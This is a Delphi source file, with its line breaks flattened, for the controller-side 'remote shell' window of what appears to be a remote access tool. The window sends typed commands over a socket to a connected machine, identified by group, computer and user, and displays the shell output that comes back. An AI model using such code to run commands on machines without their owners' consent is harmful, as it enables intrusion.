unit UnitRemoteShell;interfaceuses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, ExtCtrls, ScktComp, StdCtrls, Spin, umSFPack,zlib,ImageHLP, ComCtrls, ImgList, ToolWin, Menus, ClipBrd, UnitSharedData;type TRemoteShell = class(TForm) Memo1: TMemo; StatusBar1: TStatusBar; Timer1: TTimer; procedure Memo1KeyPress(Sender: TObject; var Key: Char); procedure Timer1Timer(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); private { Private declarations } lastcommand: string; LastLength: dword; public { Public declarations } MainSocket: TCustomWinSocket; NewSocket: TCustomWinSocket; SocketData: TSocketData; Group,Computer,User: string; procedure ParseData(Socket: TCustomWinSocket; Data: string); procedure SetUpConnection(Socket: TCustomWinSocket); end;var RemoteShell: TRemoteShell;implementation{$R *.dfm}procedure SendData(Socket: TCustomWinSocket; Data: string);begin UnitSharedData.SendData(Socket,'RemoteShell|' + Data);end;procedure DisconnectProc(Socket: TCustomWinSocket);var SocketData: TSocketData;begin SocketData := TSocketData(Socket.Data); if TRemoteShell(SocketData.Form).NewSocket = nil then exit; TRemoteShell(SocketData.Form).Timer1.Enabled := True; TRemoteShell(SocketData.Form).NewSocket := nil; TRemoteShell(SocketData.Form).Caption := TRemoteShell(SocketData.Form).Caption + ' - [Offline]';end;procedure TRemoteShell.SetUpConnection(Socket: TCustomWinSocket);var SocketData: TSocketData;begin SocketData := TSocketData(Socket.Data); SocketData.DisconnectProc := @DisconnectProc; Timer1.Enabled := False; Caption := Copy(Caption,1,Length(Caption) -12); Memo1.Text := ''; LastLength := 0; SendData(Socket,'Activate');end;procedure TRemoteShell.ParseData(Socket: TCustomWinSocket; Data: string);var Command: string;begin Command := Split(Data,'|',1); Delete(Data,1,Length(Command)+1); if Command = 'Command' then begin Delete(Data,1,length(LastCommand)); LastCommand := ''; Memo1.Text := Memo1.Text + Data; Memo1.SetFocus; Memo1.SelStart := Length(Memo1.Text); SendMessage(Memo1.handle, EM_SCROLLCARET, 0, 0); LastLength := Length(Memo1.Text); end;end;procedure TRemoteShell.Memo1KeyPress(Sender: TObject; var Key: Char);var c: string;begin Memo1.SelStart := Length(Memo1.Text); SendMessage(Memo1.handle, EM_SCROLLCARET, 0, 0); if Length(Memo1.Text) = 0 then begin Key := #0; Exit; end; if Memo1.SelStart <> Length(Memo1.Text) then begin Key := #0; Exit; end; if Key = #8 then begin if length(memo1.Text) = lastlength then begin Key:= #0; exit; end; end; if Key = #13 then begin Key := #0; c := memo1.Text; delete(c,1,lastlength); LastCommand := c; senddata(NewSOcket,'Command|' + c + #13#10); endend;procedure TRemoteShell.Timer1Timer(Sender: TObject);var NewSocketData: TSocketData; Li: TListItem;begin Li := GetListItem(Group,Computer,User); if Li = nil then exit; if Li.Data = nil then exit; NewSocketData := TSocketData(Li.Data); if NewSocketData.MainSocket = nil then exit; UnitSharedData.SendData(NewSocketData.MainSocket,'NewConnection|RemoteShellSocket|' + inttostr(Self.Handle));end;procedure TRemoteShell.FormClose(Sender: TObject; var Action: TCloseAction);var TmpSocket: TCustomWinSocket;begin Action := caFree; try TmpSocket := NewSocket; NewSocket := nil; if TmpSocket <> nil then TmpSocket.Close; except end;end;end.
